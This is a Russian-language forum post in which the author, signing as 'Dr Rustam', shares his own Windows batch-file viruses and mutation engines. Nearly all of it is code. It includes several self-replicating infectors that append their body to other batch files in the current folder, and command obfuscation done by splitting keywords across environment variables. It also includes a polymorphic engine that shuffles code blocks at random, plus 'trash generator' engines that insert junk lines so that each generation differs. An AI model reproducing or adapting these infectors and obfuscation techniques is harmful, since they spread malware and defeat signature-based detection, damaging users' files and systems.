Здравствуйте. Тут хотелось бы выложить свои поделки на batch. Вирусы, вирусные движки. Обфускация и маскировка кода. Различные методы мутации кода (полиморфизм и тп.) Простой вирус. Код (Text): @ECHO OFF&FIND "M_"<%0>A %M_%ECHO GOTO Y_>>A&ECHO GOTO N_>T&ECHO :Y_>>T FOR %%B IN (*.BOO) DO CALL :M_ %%B :M_ @FIND "M_"<%1 %M_%IF NOT ERRORLEVEL 1 GOTO :BY %M_%TYPE %1>>T&ECHO.^&EXIT>>T&ECHO.:N_>>T COPY T+A %1 :BY DR RUSTAM_ HELLO ALL!!! Вирус не использует Find для заражения. Код (Text): :[ DR RUSTAM NO FIND INFECT VIRUS ] MORE +2 "%0">OK @FOR %%R IN (*.BBB) DO CALL :INF %%R DEL OK&GOTO :EOF :INF SET /P IM=<%1 IF "%IM%"=="CALL :TTT" GOTO :EOF @FOR /F "TOKENS=1" %%A IN (%1) DO ( SET STR=%%A CALL :NOFL ) ECHO.CALL :TTT>YN TYPE %1>>YN ECHO.>>YN&ECHO.EXIT>>YN ECHO.:TTT>>YN SET /A SF=%SN%+4 ECHO MORE +%SF% "%%0"^>OK>>YN TYPE OK>>YN MOVE YN %1 :NOFL SET /A SN=%SN%+1 GOTO :EOF Вирус не использует For. Прием обфускации. Код (Text): :DR_NOF @ECHO %NOF-%OFF>NUL&SET W="%0" CALL :_NOF FI TY GO HO MO EL SE IR BB GOTO ENOF :_NOF %7T NOF#=0 D%8 %CD%\*.B%9 /B /A>~.NOF EC%4/END>>~.NOF :NOF_ %1ND "NOF"<%W%>$.NOF %5RE +%NOF#% ~.NOF>-.NOF %7T /P NOF$=<-.NOF IF %NOF$%'==END' %3TO ENOF %7T /P PI=<%NOF$% %7T /A NOF#=%NOF#%+1 IF -%PI%==-:DR_NOF %3TO NOF_ %2PE %NOF$%>>$.NOF %5VE $.NOF %NOF$%>NUL %3TO NOF_ :ENOF D%6 ?.NOF --- Сообщение объединено, 18 сен 2024 --- Простой вирус DR2V. Пример обфускации. Код (Text): @ECHO %DR2V% OFF>NUL&SET W="%0" CALL :DR2VV FO BB SE I D EXIT %DR2V% :DR2VV %1R %%W %4N (*.%2T) %5O %3T DR2VX="%%W"&CALL :DR2V %DR2VX% IND DR2V GOTO :EOF %DR2V% :DR2V F%2 "%3" <%DR2VX%>NUL ECHO.%DR2V%>>%DR2VX% IF ERRORLEVEL 1 F%2 "%3" <%W%>>%DR2VX% Код (Text): --------------------[Dr Rustam mutant Batch ]------------------- -----------------------------------%<--------------------------------------------------- %Drmb1%SET Y=%0 :lol:rmb1 %Drmb1%ECHO [USER CODE - 1] GOTO Drmb%Drmb1%2 :lol:rmb2 %Drmb2%ECHO [USER CODE - 2] GOTO Drmb%Drmb2%3 :lol:rmb3 %Drmb3%ECHO [USER CODE - 3] GOTO Drmb%Drmb3%4 :lol:rmb4 %Drmb4%ECHO [USER CODE - 4] GOTO Drmb%Drmb4%5 :lol:rmb5 %Drmb5%ECHO [USER CODE - 5] GOTO Drmb%Drmb5%6 :lol:rmb6 %Drmb6%ECHO [USER CODE - 6] GOTO Drmb%Drmb6%7 :lol:rmb7 %Drmb7%ECHO [USER CODE - 7] GOTO Drmb%Drmb7%8 :lol:rmb8 %Drmb8%ECHO [USER CODE - 8] GOTO Drmb%Drmb8%9 :lol:rmb9 %Drmb9%SET /A R=1+(9-1+1) * %RANDOM%/32768 %Drmb9%FOR %%T IN ( %A%;%B%;%C%;%D%;%E%;%F%;%G%;%H%;%I% %Drmb9% )DO IF %R%==%%T GOTO Drmb9 %Drmb9%SET O=_ABCDEFGHI %Drmb9%SET /A T=%T%+1 %Drmb9%CALL SET %%O:~%T%,1%%=%R% %Drmb9%CALL :lol:rmbX %R% IF NOT %T%==9 GOTO Drmb9 EXIT %Drmb9% :lol:rmbX Drmb9 FIND "Drmb%1"<%Y%>>POLY %Drmb9% GOTO :EOF %Drmb9% ----------------------------%<------------------------------------------ Вирус изменяет свое тело в каждом покалении. Код (Text): | <DRPB 1 VIRUS -P> | %Z6%@EC%Z6%HO %Z6%OFF%Z6%&@S%Z6%ET Y=EC%Z6%HO%Z6% %Z6%@FI%Z6%ND "Z6"<""%0"">Z6_ %Z6%@F%Z6%OR /F "TOKENS=* DELIMS=," %%N IN (Z6_) DO ( %Z6%S%Z6%ET LI=%%N %Z6%CM%Z6%D /V /C %Y% !LI:Z6=$%RANDOM%!>>Z6 %Z6%) %Z6%MO%Z6%VE Z6 Z6_ %Z6%F%Z6%O%Z6%R %%Q IN (*.BOO) DO C%Z6%AL%Z6%L :Z6 "%%Q" %Z6%D%Z6%el Z6_&EXIT%Z6%%Z6% :Z6 %Z6%F%Z6%I%Z6%N%Z6%D "Zx6"<%1>NUL%Z6%%Z6% %Z6%%Z6%IF ERRORLEVEL 1 T%Z6%Y%Z6%P%Z6%E Z6_>>%1 --- Сообщение объединено, 18 сен 2024 --- Различные мутирующие движки. Код (Text): =================[ trash gen ]================== %ZZB%@ECHO OFF&SET I=%0&SET Y=B;O;K;Y;N;M;H;V;D;S;X;R;U;G;A;L %ZZO%@FOR %%_ IN (%Y%) DO CALL :ZZO %%_ %RANDOM%%RANDOM% :ZZO %ZZY%IF %1_==_ (GOTO ZZ%D%D) ELSE ( %ZZM%@ECHO:^::%2%2%2%2%2%2>>ZZ %ZZM%@FIND "ZZ%1"<%I%>>ZZ )%ZZM%&EXIT /B :ZZD %ZZS%@FOR %%B IN (*.BOO *.COO) DO CALL :SZZ "%%B" %ZZX%GOTO EZZ :SZZ %ZZR% %ZZU%@FIND "ZZ"<%1>NUL %ZZG%IF ERRORLEVEL 1 type ZZ>>%1 :EZZ %ZZL% %ZZL% DEL ZZ %ZZL% Код (Text): -==---=-=-=--=-=-=-=-=-=-=-=--[V 1a - TRASH ADD ]---====---=-=-=-=-=--===-==-=-==-===-==-==--=- %ZZA%@ECHO OFF & SET V=""%0"" %ZZA% GOTO P_1 :P_1 %ZZX% %ZZX% CALL :P_6 %ZZX% ::-------SET ENCRYPT ADD-------- %ZZX% %E% P_2 :P_2 %ZZC% %ZZC% ::-------USERCODE-------- %ZZC% %E% P_3 :P_3 %ZZV% %ZZV% ::-------USERCODE-------- %ZZV% %E% P_4 :P_4 %ZZB% %ZZB% ::-------USERCODE-------- %ZZB% %C%.:%R%%Z%%Z%0%Z%8%R%3%Z%1%Z%>_ %ZZB% %D% "ZZ%A%A"<%V%>>_ %ZZB% %E% P_5 :P_5 %ZZQ% %ZZQ% IF %R%==1 %F% %%_ IN (C U B X Q V) DO %C%.CLS %Z%12%Z%%Z%%R%4%Z%2%R%0%Z%%R%>>_&%D% "ZZ%%_" <%V%>>_ %ZZQ% IF %R%==2 %F% %%_ IN (U B X Q V C) DO %C%.CALL_ 05%Z%%R%%Z%%Z%%Z%0%R%%Z%5%R%>>_&%D% "ZZ%%_" <%V%>>_ %ZZQ% IF %R%==3 %F% %%_ IN (B X Q V C U) DO %C%.:%Z%%Z%%Z%%Z%%R%%Z%%Z%01%Z%%R%%Z%>>_&%D% "ZZ%%_" <%V%>>_ %ZZQ% IF %R%==4 %F% %%_ IN (X Q V C U B) DO %C%.SET %Z%8%R%%R%3%Z%%Z%%Z%%Z%%Z%%Z%>>_&%D% "ZZ%%_" <%V%>>_ %ZZQ% IF %R%==5 %F% %%_ IN (Q V C U B X) DO %C%.%C% %R%%Z%%Z%9%Z%%Z%%R%%R%%Z%5%Z%>>_&%D% "ZZ%%_" <%V%>>_ %ZZQ% IF %R%==6 %F% %%_ IN (V C U B X Q) DO %C%.EXIT /B %R%%R%%Z%%R%%Z%%Z%%Z%8%Z%>>_&%D% "ZZ%%_" <%V%>>_ %ZZQ% EXIT :P_6 %ZZU% %ZZU%SET C=ECHO %ZZU%SET /A R=1+(6-1+1) * %RANDOM%/32768 %ZZU%SET F=FOR %ZZU%SET Z=%R%%R%%RANDOM%%R%%R%%RANDOM%%R%%RANDOM%%R% %ZZU%SET E=GOTO %ZZU%SET D=FIND %ZZU% %E% :EOF -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-[ V 1b ]=-=-=-=-=-==-=-=---=-=-=-=-=---=-=-=-=-=-== :P_1 %ZZX% %ZZX% SET V=""%0"" %ZZX% SET AX=ET %ZZX% CALL :P_6 %ZZX% GOTO P_2 :P_2 %ZZC% %ZZC% S%AX% SX=OT %ZZC% G%SX%O P_3 :P_3 %ZZV% %ZZV% S%AX% DX=YP %ZZV% G%SX%O P_4 :P_4 %ZZQ% %ZZQ% IF %X0%==1 S%AX% CV=C U B X Q V %ZZQ% IF %X0%==2 S%AX% CV=U B X Q V C %ZZQ% IF %X0%==3 S%AX% CV=B X Q V C U %ZZQ% IF %X0%==4 S%AX% CV=X Q V C U B %ZZQ% IF %X0%==5 S%AX% CV=Q V C U B X %ZZQ% IF %X0%==6 S%AX% CV=V C U B X Q %ZZQ% CALL :P_5 %ZZQ% EXIT :P_5 %ZZB% %ZZB% ECHO.GOTO P_1>_ %ZZB% F%F% %%_ IN (%CV%) DO ( %ZZB% F%D% "ZZ%%_" <%V%>>_ %ZZB% ) %ZZB% G%SX%O :EOF :P_6 %ZZU% %ZZU% SET /A X0=1+(6-1+1) * %RANDOM%/32768 %ZZU% S%AX% F=OR %ZZU% S%AX% D=IND %ZZU% G%SX%O :EOF ====-----====-=-=-=========--------=====-=-=-=======-=-====-=-=-=-=-==-=-=-=- --- Сообщение объединено, 18 сен 2024 --- Archive